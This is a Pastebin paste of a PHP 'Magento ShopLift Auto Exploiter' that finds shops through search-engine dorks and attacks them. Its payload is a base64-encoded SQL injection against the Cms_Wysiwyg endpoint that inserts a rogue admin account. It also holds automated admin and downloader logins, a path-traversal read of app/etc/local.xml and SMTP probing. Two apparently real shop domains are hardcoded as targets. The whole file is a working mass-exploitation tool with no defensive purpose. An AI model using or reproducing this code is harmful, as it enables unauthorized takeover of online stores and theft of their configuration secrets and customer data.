Tu5b0l3d

Magento Ceker

May 6th, 2016
1,074
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 18.48 KB | None | 0 0
  1. <?php
  2.  
  3. class PakHaxor {
  4.     private $dork = "";
  5.     private $username = "boled";//user passmu ganti
  6.     private $password = "ganteng";
  7.    
  8.     public function Dork($dork){
  9.         $this->dork = $dork;
  10.         return $this->dork;
  11.     }
  12.    
  13.     private function CurlPost($url, $post = false){
  14.         $ch = curl_init();
  15.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  16.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  17.         curl_setopt($ch, CURLOPT_URL, $url);
  18.         curl_setopt($ch, CURLOPT_HEADER, 0);
  19.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  20.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  21.         curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  22.         if($post !== false){
  23.             $isi = '';
  24.             foreach($post as $key=>$value){
  25.                 $isi .= $key.'='.$value.'&';
  26.             }
  27.             rtrim($isi, '&');
  28.             curl_setopt($ch, CURLOPT_URL, $url);
  29.             curl_setopt($ch, CURLOPT_POST, count($isi));
  30.             curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  31.             curl_setopt($ch, CURLOPT_POSTFIELDS, $isi);
  32.         }
  33.         $data = curl_exec($ch);
  34.         curl_close($ch);
  35.         return $data;
  36.     }
  37.    
  38.     private function GetStr($start,$end,$string){
  39.         $a = explode($start,$string);
  40.         $b = explode($end,$a[1]);
  41.         return $b[0];
  42.     }
  43.    
  44.     private function LoginDownloader($url){
  45.         $link = parse_url($url);
  46.         $data = $this->CurlPost(sprintf("%s://%s/downloader/",$link["scheme"],$link["host"]),
  47.                     array("username" => $this->username,
  48.                           "password" => $this->password)
  49.                     );
  50.         if(preg_match("/Log Out/i",$data) || (preg_match("/Return to Admin/i",$data))){
  51.             $permission = (!preg_match("/Warning: Your Magento folder does not have sufficient write permissions./i",$data) ? "Writeable" : "Denied");
  52.             return "Success\nPermission\t\t: ".$permission;
  53.             $smtp = (!eregi("Smtp",$data) || !eregi("Mandrill",$data) || !eregi("smtp",$data) ? "Smtp Look" : "Ga Ada Smtp");
  54.             return "Success\nSmtpPro\t\t: ".$smtp;
  55.             $filesystem = (!eregi("File_System",$data) ? "File System Ada" : "No");
  56.             return "Success\nFile system\t\t: ".$filesystem;
  57.         } else {
  58.             return "Failed";
  59.         }
  60.     }
  61.        
  62.     private function LoginAdmin($target){
  63.         $link = parse_url($target);
  64.         $get = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]));
  65.         $key = $this->GetStr("<input name=\"form_key\" type=\"hidden\" value=\"","\" />",$get);
  66.         $data = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]),
  67.                     array("login[username]" => $this->username,
  68.                           "login[password]" => $this->password,
  69.                           "form_key" => $key)
  70.                 );
  71.         if($this->LocalFileDiscloure(sprintf("%s://%s",$link["scheme"],$link["host"]))){
  72.             return "Success\nOrder Total\t\t: ".$this->GetStr("<span class=\"price\">","</span>",$data)."\nInstaled\t\t:".$this->LocalFileDiscloure(sprintf("%s://%s",$link["scheme"],$link["host"]));
  73.         } else {
  74.             return "Success\nOrder Total\t\t: ".$this->GetStr("<span class=\"price\">","</span>",$data);
  75.         }
  76.     }
  77.    
  78.     private function ShopLiftExploit($target){
  79.         $email = substr(md5(time()),2,15);
  80.         $link = parse_url($target);
  81.         $data = $this->CurlPost(sprintf("%s://%s/admin/Cms_Wysiwyg/directive/index/",$link["scheme"],$link["host"]),
  82.                     array("filter" => base64_encode("popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);SET @SALT =  'rp';SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{$this->password}') ), CONCAT(':', @SALT ));SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','ellvin1337@gmail.com','{$this->username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{$this->username}'),'Firstname');"),
  83.                     "___directive"  => base64_encode("{{block type=Adminhtml/report_search_grid output=getCsvFile}}"),
  84.                     "forwarded"     => "1")
  85.                 );    
  86.         return (@imagecreatefromstring($data) !== false);
  87.     }
  88.     private function Fak($site, $username, $password){
  89.  
  90.         $get_admin = file_get_contents("$site/admin");
  91. preg_match("/type=\"hidden\" value=\"(.*?)\"/", $get_admin, $keys);
  92. $key = $keys[1];
  93.  
  94. $url = "$site/admin";
  95. $payload = "form_key=$key&login[username]=$username&login[password]=$password";
  96. $login = $this->ngirim_data($url, $payload);
  97. if(preg_match("/filesystem/i", $login)){
  98.     $b = "Ok";
  99. }
  100. else{
  101.     echo "No";
  102. }
  103. preg_match("/\/index.php\/admin\/system_config\/index\/key\/(.*?)\"/", $login, $link_smtp);
  104. $link_smtp = "$site/index.php/admin/system_config/index/key/$link_smtp[1]";
  105. $fgt_smtp = $this->kesono($link_smtp);
  106.  
  107. if(preg_match("/smtppro/i", $fgt_smtp)){
  108.     $c = "Ok\n";
  109. }
  110. else{
  111.     $c = "No\n";
  112. }
  113. $su = "FileSystem\t\t: $b\nSMTPpro\t\t\t: $c";
  114. return $su;
  115.  
  116.     }
  117.     private function ExecuteExploit($victim){
  118.         $file = fopen("ShopLift-".date("d-m-Y").".log","a");
  119.         $url = parse_url($victim);
  120.         $target = (!isset($url["scheme"]) ? "http://".$victim : $url["scheme"]."://".$url["host"]);
  121.         if($this->ShopLiftExploit($target)){
  122.             $downloader = $this->LoginDownloader($target);
  123.             $admin = $this->LoginAdmin($target);
  124.             $ahh = $this->fak($target, $this->username, $this->password);
  125.  
  126.             $result = "\n============[ShopLift Result]============\nSite\t\t\t: {$target}\nLogin Admin\t\t: {$admin}\nLogin Downloader\t: {$downloader}\n$ahh===========================================\n";
  127.             fwrite($file,$result);
  128.             return $result;
  129.         }else {
  130.             return "[".date("H:i:s")."] ".$target." => Not vuln !\n";
  131.         }
  132.    
  133.     fclose($file);
  134.     }
  135.  
  136.    
  137.     private function LocalFileDiscloure($target){
  138.         $path = array(  "/app/etc/local.xml",
  139.                         "/magmi/web/download_file.php?file=../../app/etc/local.xml"
  140.                     );
  141.         for($i=0;$i<=count($path);$i++){
  142.             $test = $this->CurlPost($target.$path[$i]);
  143.             if(isset($test) && preg_match('/install/i',$test) && preg_match('/date/i',$test)){
  144.                 return $this->GetStr("<date><![CDATA[","]]></date>",$test);
  145.             } else {
  146.                 return false;
  147.             }
  148.         }
  149.     }
  150.    
  151.     public function SearchEngine($engine){
  152.         $list = array();
  153.         $ccbing = array("ca","br","be","nl","uk","it","es","de","no","dk","se","ch","ru","jp","cn","kr","mx","ar","cl","au");
  154.         $ccgoogle = array("ae");//,"com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  155.         $ccask = array("au","uk","ca","de","it","fr","es","ru","nl","pl","at","se","dk","no","br","mx","jp");
  156.         $ccyahoo = array("au","ru","at","pl","il","tr","ua","gr","jp","cn","my","id","th","in","kr","tw","ro","za","pt","ca","uk","de","fr","es","it","hk","mx","br","ar","nl","dk","ph","cl","ru","co","fi","ve","nz","pe");
  157.     /*
  158.         switch($engine){
  159.             case 1:
  160.                 for($i=0;$i<=1000;$i+=10){
  161.                     $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&first=".$i);
  162.                     preg_match_all('#<h2><a href="(.*?)" h="ID#', $search, $m);
  163.                     foreach($m[1] as $link){
  164.                         if(!preg_match("/live|msn|bing|microsoft/",$link)){
  165.                             if(!in_array($link,$list)){
  166.                                 $list[] = $link;
  167.                             }
  168.                         }
  169.                     }
  170.                     echo "[".date("H:i:s")."] Catch Bing (".count(array_unique($m[1])).")\n";
  171.                 }
  172.                 echo "[".date("H:i:s")."] Total Bing : ".count($list)."\n";
  173.             break;
  174.             case 2:
  175.                 for($x=0;$x<=count($ccbing)-1;$x++){
  176.                     for($i=0;$i<=1000;$i+=10){
  177.                         $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&cc=".$ccbing[$x]."&rf=1&first=".$i."&FORM=PORE");
  178.                         preg_match_all('#<h2><a href="(.*?)" h="ID#', $search, $m);
  179.                         foreach($m[1] as $link){
  180.                             if(!preg_match("/live|msn|bing|microsoft/",$link)){
  181.                                 if(!in_array($link,$list)){
  182.                                     $list[] = $link;
  183.                                 }
  184.                             }
  185.                         }
  186.                         echo "[".date("H:i:s")."] Catch Bing.".$ccbing[$x]." (".count(array_unique($m[1])).")\n";
  187.                     }
  188.                 }
  189.                 echo "[".date("H:i:s")."] Total Bing World : ".count($list)."\n";
  190.             break;
  191.             case 3:
  192.                 for($x=0;$x<=count($ccgoogle)-1;$x++){
  193.                     for($i=0;$i<=200;$i+=10){
  194.                         $search = $this->CurlPost("http://www.google.".$ccgoogle[$x]."/search?num=50&q=".urlencode($this->dork)."&start=".$i."&sa=N");
  195.                         preg_match_all('/<a href=\"?http:\/\/([^>\"]*)\//m', $search, $m);
  196.                         foreach($m[1] as $link){
  197.                             if(!preg_match("/google/",$link)){
  198.                                 if(!in_array($link,$list)){
  199.                                     $list[] = $link;
  200.                                 }
  201.                             }
  202.                         }
  203.                         echo "[".date("H:i:s")."] Catch Google.".$ccgoogle[$x]." (".count(array_unique($m[1])).")\n";
  204.                     }
  205.                 }
  206.                 echo "[".date("H:i:s")."] Total Google World : ".count($list)."\n";
  207.             break;
  208.             case 4:
  209.                 for($x=0;$x<=count($ccask)-1;$x++){
  210.                     for($i=1;$i<=1000;$i+=100){
  211.                         $search = $this->CurlPost("http://".$ccask[$x].".ask.com/web?q=".urlencode($this->dork)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  212.                         preg_match_all('/href=\"http:\/\/(.*?)\" onmousedown=/m', $search, $m);
  213.                         foreach($m[1] as $link){
  214.                             if(!preg_match("/ask\.com/",$link)){
  215.                                 if(!in_array($link,$list)){
  216.                                     $list[] = $link;
  217.                                 }
  218.                             }
  219.                         }
  220.                         echo "[".date("H:i:s")."] Catch Ask.".$ccask[$x]."(".count(array_unique($m[1])).")\n";
  221.                     }
  222.                 }
  223.                 echo "[".date("H:i:s")."] Total Ask World : ".count($list)."\n";
  224.             break;
  225.             case 5:
  226.                 for($i=1;$i<=100;$i+=1){
  227.                     $search = $this->CurlPost("http://search.walla.co.il/?q=".urlencode($this->dork)."&type=text&page=".$i);
  228.                     preg_match_all('/<a href=\"http:\/\/(.+?)\" title=/m', $search, $m);
  229.                     foreach($m[1] as $link){
  230.                         if(!preg_match("/walla\.co\.il/",$link)){
  231.                             if(!in_array($link,$list)){
  232.                                 $list[] = $link;
  233.                             }
  234.                         }
  235.                     }
  236.                     echo "[".date("H:i:s")."] Catch Walla (".count(array_unique($m[1])).")\n";
  237.                 }
  238.                 echo "[".date("H:i:s")."] Total Walla : ".count($list)."\n";
  239.             break;
  240.             case 6:
  241.                 for($i=1;$i<=400;$i+=10){
  242.                     $search = $this->CurlPost("http://szukaj.onet.pl/".$i.",query.html?qt=".urlencode($this->dork));
  243.                     preg_match_all('/<a href=\"http:\/\/(.*?)\">/m', $search, $m);
  244.                     foreach($m[1] as $link){
  245.                         if(!preg_match("/onet|webcache|query/",$link)){
  246.                             if(!in_array($link,$list)){
  247.                                 $list[] = $link;
  248.                             }
  249.                         }
  250.                     }
  251.                     echo "[".date("H:i:s")."] Catch Onet (".count(array_unique($m[1])).")\n";
  252.                 }
  253.                 echo "[".date("H:i:s")."] Total Onet : ".count($list)."\n";
  254.             break;
  255.             case 7:
  256.                 for($i=1;$i<=50;$i+=1){
  257.                     $search = $this->CurlPost("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$i."&q=".urlencode($this->dork)."&st=local");
  258.                     preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  259.                     foreach($m[1] as $link){
  260.                         if(!preg_match("/\.sapo\.pt/",$link)){
  261.                             if(!in_array($link,$list)){
  262.                                 $list[] = $link;
  263.                             }
  264.                         }
  265.                     }
  266.                     echo "[".date("H:i:s")."] Catch Sapo (".count(array_unique($m[1])).")\n";
  267.                 }
  268.                 echo "[".date("H:i:s")."] Total Sapo : ".count($list)."\n";
  269.             break;
  270.             case 8:
  271.                 for($i=1;$i<=50;$i+=1){
  272.                     $search = $this->CurlPost("http://search.lycos.com/web?q=".urlencode($this->dork)."&pn=".$i);
  273.                     preg_match_all('/title=\"http:\/\/(.*?)\"/m', $search, $m);
  274.                     foreach($m[1] as $link){
  275.                         if(!preg_match("/lycos/",$link)){
  276.                             if(!in_array($link,$list)){
  277.                                 $list[] = $link;
  278.                             }
  279.                         }
  280.                     }
  281.                     echo "[".date("H:i:s")."] Catch Lycos (".count(array_unique($m[1])).")\n";
  282.                 }
  283.                 echo "[".date("H:i:s")."] Total Lycos : ".count($list)."\n";
  284.             break;
  285.             case 9:
  286.                 for($i=1;$i<=1000;$i+=10){
  287.                     $search = $this->CurlPost("http://busca.uol.com.br/web/?ref=homeuol&q=".urlencode($this->dork)."&start=".$i);
  288.                     preg_match_all('/href=\"?http:\/\/([^\">]*)\"/m', $search, $m);
  289.                     foreach($m[1] as $link){
  290.                         if(!preg_match("/uol\.com\.br|\/web/i",$link)){
  291.                             if(!in_array($link,$list)){
  292.                                 $list[] = $link;
  293.                             }
  294.                         }
  295.                     }
  296.                     echo "[".date("H:i:s")."] Catch Aol (".count(array_unique($m[1])).")\n";
  297.                 }
  298.                 echo "[".date("H:i:s")."] Total Uol : ".count($list)."\n";
  299.             break;
  300.             case 10:
  301.                 for($i=1;$i<=300;$i+=20){
  302.                     $search = $this->CurlPost("http://search.seznam.cz/?q=".urlencode($this->dork)."&count=20&from=".$i);
  303.                     preg_match_all('/href=\"?http:\/\/([^\">]*)\"/m', $search, $m);
  304.                     foreach($m[1] as $link){
  305.                         if(!preg_match("/seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i",$link)){
  306.                             if(!in_array($link,$list)){
  307.                                 $list[] = $link;
  308.                             }
  309.                         }
  310.                     }
  311.                     echo "[".date("H:i:s")."] Catch Seznam (".count(array_unique($m[1])).")\n";
  312.                 }
  313.                 echo "[".date("H:i:s")."] Total Seznam : ".count($list)."\n";
  314.             break;
  315.             case 11:
  316.                 for($i=1;$i<=50;$i+=1){
  317.                     $search = $this->CurlPost("http://www.hotbot.com/search/web?pn=".$i."&q=".urlencode($this->dork));
  318.                     preg_match_all('/href=\"http:\/\/(.+?)\" title=/m', $search, $m);
  319.                     foreach($m[1] as $link){
  320.                         if(!preg_match("/hotbot\.com/",$link)){
  321.                             if(!in_array($link,$list)){
  322.                                 $list[] = $link;
  323.                             }
  324.                         }
  325.                     }
  326.                     echo "[".date("H:i:s")."] Catch Hotbot (".count(array_unique($m[1])).")\n";
  327.                 }
  328.                 echo "[".date("H:i:s")."] Total Hotbot : ".count($list)."\n";
  329.             break;
  330.             case 12:
  331.                 for($i=1;$i<=300;$i+=10){
  332.                     $search = $this->CurlPost("http://search.aol.com/aol/search?q=".urlencode($this->dork)."&page=".$i);
  333.                     preg_match_all('/href=\"http:\/\/(.*?)\"/m', $search, $m);
  334.                     foreach($m[1] as $link){
  335.                         if(!preg_match("/aol\.com/",$link)){
  336.                             if(!in_array($link,$list)){
  337.                                 $list[] = $link;
  338.                             }
  339.                         }
  340.                     }
  341.                     echo "[".date("H:i:s")."] Catch Aol (".count(array_unique($m[1])).")\n";
  342.                 }
  343.                 echo "[".date("H:i:s")."] Total Aol : ".count($list)."\n";
  344.             break;
  345.             case 13:
  346.                     for($i=1;$i<=1000;$i+=10){
  347.                     $search = $this->CurlPost("http://search.yahoo.com/search?p=".urlencode($this->dork)."&b=".$i);
  348.                     preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  349.                     foreach($m[1] as $link){
  350.                         if(!preg_match("/yahoo/",$link)){
  351.                             if(!in_array($link,$list)){
  352.                                 $list[] = $link;
  353.                             }
  354.                         }
  355.                     }
  356.                     echo "[".date("H:i:s")."] Catch Yahoo (".count(array_unique($m[1])).")\n";
  357.                 }
  358.                 echo "[".date("H:i:s")."] Total Yahoo : ".count($list)."\n";
  359.             break;
  360.             case 14:
  361.                 for($x=0;$x<=count($ccyahoo)-1;$x++){
  362.                     for($i=1;$i<=1000;$i+=100){
  363.                     $search = $this->CurlPost("http://".$ccyahoo[$x].".search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".urlencode($this->dork)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=hk&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  364.                     preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  365.                     foreach($m[1] as $link){
  366.                         if(!preg_match("/yahoo".$ccyahoo[$x]."/",$link)){
  367.                             if(!in_array($link,$list)){
  368.                                 $list[] = $link;
  369.                             }
  370.                         }
  371.                     }
  372.                     echo "[".date("H:i:s")."] Catch Yahoo.".$ccyahoo[$x]." (".count(array_unique($m[1])).")\n";
  373.                     }
  374.                 }
  375.                 echo "[".date("H:i:s")."] Total Yahoo World : ".count($list)."\n";
  376.             break;
  377.         }
  378.  
  379.         */
  380.         $list = array("ottobock-mobility.ru","webshop.rubox.nl");
  381.         if(count($list)>0){
  382.             echo "Exploiting target ".count($list).". Please wait ... \n";
  383.             foreach($list as $do){
  384.                 echo $this->ExecuteExploit($do);
  385.             }
  386.         }
  387.     }
  388.  
  389.     function ngirim_data($url, $post){
  390. $ch = curl_init ("$url");
  391. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  392. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  393. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  394. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  395. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  396. curl_setopt ($ch, CURLOPT_POST, 1);
  397. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  398. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  399. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  400. $data6 = curl_exec ($ch);
  401. return $data6;
  402.     }
  403.  
  404. function kesono($url){
  405.     $ch = curl_init ("$url");
  406. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  407. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  408. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  409. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  410. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  411. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  412. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  413. $data6 = curl_exec ($ch);
  414. return $data6;
  415.    
  416. }
  417.     public function ExploitLogo(){
  418.         $logo = "==================================================\n";
  419.         $logo .= "#\t Magento ShopLift Auto Exploiter \t #\n";
  420.         $logo .= "#------------------------------------------------#\n";
  421.         $logo .= "#\t Usage \t\t: php ".basename($_SERVER["SCRIPT_FILENAME"], '.php').".php \"Dork\"\t #\n";
  422.         $logo .= "#------------------------------------------------#\n";
  423.         $logo .= "#\t (C) ".date("Y")." Recoded By Pak Haxor \t\t #\n";
  424.         $logo .= "==================================================\n";
  425.         echo $logo;
  426.     }
  427. }
  428. $Exploiter = new PakHaxor();
  429. if(isset($argv[1]) && !empty($argv[1])){
  430.     if($argv[1]=="-l" && !empty($argv[2])){
  431.         $file = file_get_contents($argv[2]);
  432.         $list = explode("\n",$file);
  433.         if(isset($list)){
  434.             echo "Starting engine ....\n";
  435.             flush();
  436.             sleep(2);
  437.             echo "[".date("H:i:s")."] Scanning ".count($list)." dorks. Please wait ... \n";
  438.             foreach($list as $dork){
  439.                 echo "[".date("H:i:s")."] Scanning target for dork : {$dork}\n";
  440.                 $Exploiter->Dork($dork);
  441.                 for($i=0;$i<15;$i++){
  442.                     $Exploiter->SearchEngine($i);
  443.                     flush();
  444.                     sleep(1);
  445.                 }
  446.             }
  447.         }
  448.     } else {
  449.         echo "Starting engine ....\n";
  450.         flush();
  451.         sleep(2);
  452.         echo "[".date("H:i:s")."] Scanning target for dork : {$argv[1]}\n";
  453.         $Exploiter->Dork($argv[1]);
  454.         for($i=0;$i<15;$i++){
  455.             $Exploiter->SearchEngine($i);
  456.             flush();
  457.             sleep(1);
  458.         }
  459.     }
  460.     echo "Scan finished !!!\n";
  461.     flush();
  462.     sleep(1);
  463.     echo "Shuting down engine !!!\n";
  464. } else {
  465.     $Exploiter->ExploitLogo();
  466. }
Add Comment
Please, Sign In to add comment